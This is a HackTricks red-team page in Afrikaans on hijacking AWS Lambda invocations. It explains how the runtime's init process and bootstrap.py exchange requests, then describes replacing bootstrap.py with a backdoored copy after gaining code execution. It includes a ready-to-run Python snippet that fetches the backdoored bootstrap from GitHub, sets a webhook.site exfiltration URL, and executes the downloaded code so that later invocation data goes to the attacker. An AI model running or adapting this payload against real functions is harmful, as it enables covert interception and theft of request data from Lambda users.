AWS - Steal Lambda Requests

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Lambda Vloei

  1. Slicer is 'n proses buite die houer wat aanroepings na die init proses stuur.

  2. Die init proses luister op poort 9001 en stel 'n paar interessante eindpunte bloot:

  • /2018-06-01/runtime/invocation/next – kry die volgende aanroepinggebeurtenis

  • /2018-06-01/runtime/invocation/{invoke-id}/response – gee die hanteringsreaksie vir die aanroeping terug

  • /2018-06-01/runtime/invocation/{invoke-id}/error – gee 'n uitvoeringsfout terug

  1. bootstrap.py het 'n lus wat aanroepings van die init proses kry en roep die gebruikerskode aan om hulle te hanteer (/next).

  2. Laastens stuur bootstrap.py die reaksie na init

Let daarop dat bootstrap die gebruikerskode as 'n module laai, sodat enige kode-uitvoering wat deur die gebruikerskode uitgevoer word, eintlik in hierdie proses plaasvind.

Steel Lambda Versoeke

Die doel van hierdie aanval is om die gebruikerskode 'n bose bootstrap.py proses binne die bootstrap.py proses te laat uitvoer wat die kwesbare versoek hanteer. Op hierdie manier sal die bose bootstrap proses begin praat met die init proses om die versoeke te hanteer terwyl die regmatige bootstrap vasgevang is terwyl die bose een loop, sodat dit nie vir versoeke aan die init proses sal vra nie.

Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die regmatige bootstrap.py proses uitgevoer word. Die aanvaller kan dus:

  • Stuur 'n valse resultaat van die huidige aanroeping na die init proses, sodat init dink die bootstrap proses wag vir meer aanroepings.

  • 'n versoek moet gestuur word na /${invoke-id}/response

  • Die aanroep-ID kan verkry word uit die stok van die regmatige bootstrap.py proses deur die inspect python module te gebruik (soos voorgestel hier) of net weer daarna te vra by /2018-06-01/runtime/invocation/next (soos voorgestel hier).

  • Voer 'n bose boostrap.py uit wat die volgende aanroepings sal hanteer

  • Vir stilte doeleindes is dit moontlik om die lambda aanroepingsparameters na 'n aanvaller se beheerde C2 te stuur en dan die versoeke soos gewoonlik te hanteer.

  • Vir hierdie aanval is dit genoeg om die oorspronklike kode van bootstrap.py van die stelsel of github te kry, die bose kode by te voeg en dit van die huidige lambda aanroeping uit te hardloop.

Aanvalstappe

  1. Vind 'n RCE kwesbaarheid.

  2. Voer die bose bootstrap uit.

Jy kan maklik hierdie aksies uitvoer deur te hardloop:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Vir meer inligting kyk na https://github.com/carlospolop/lambda_bootstrap_switcher

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated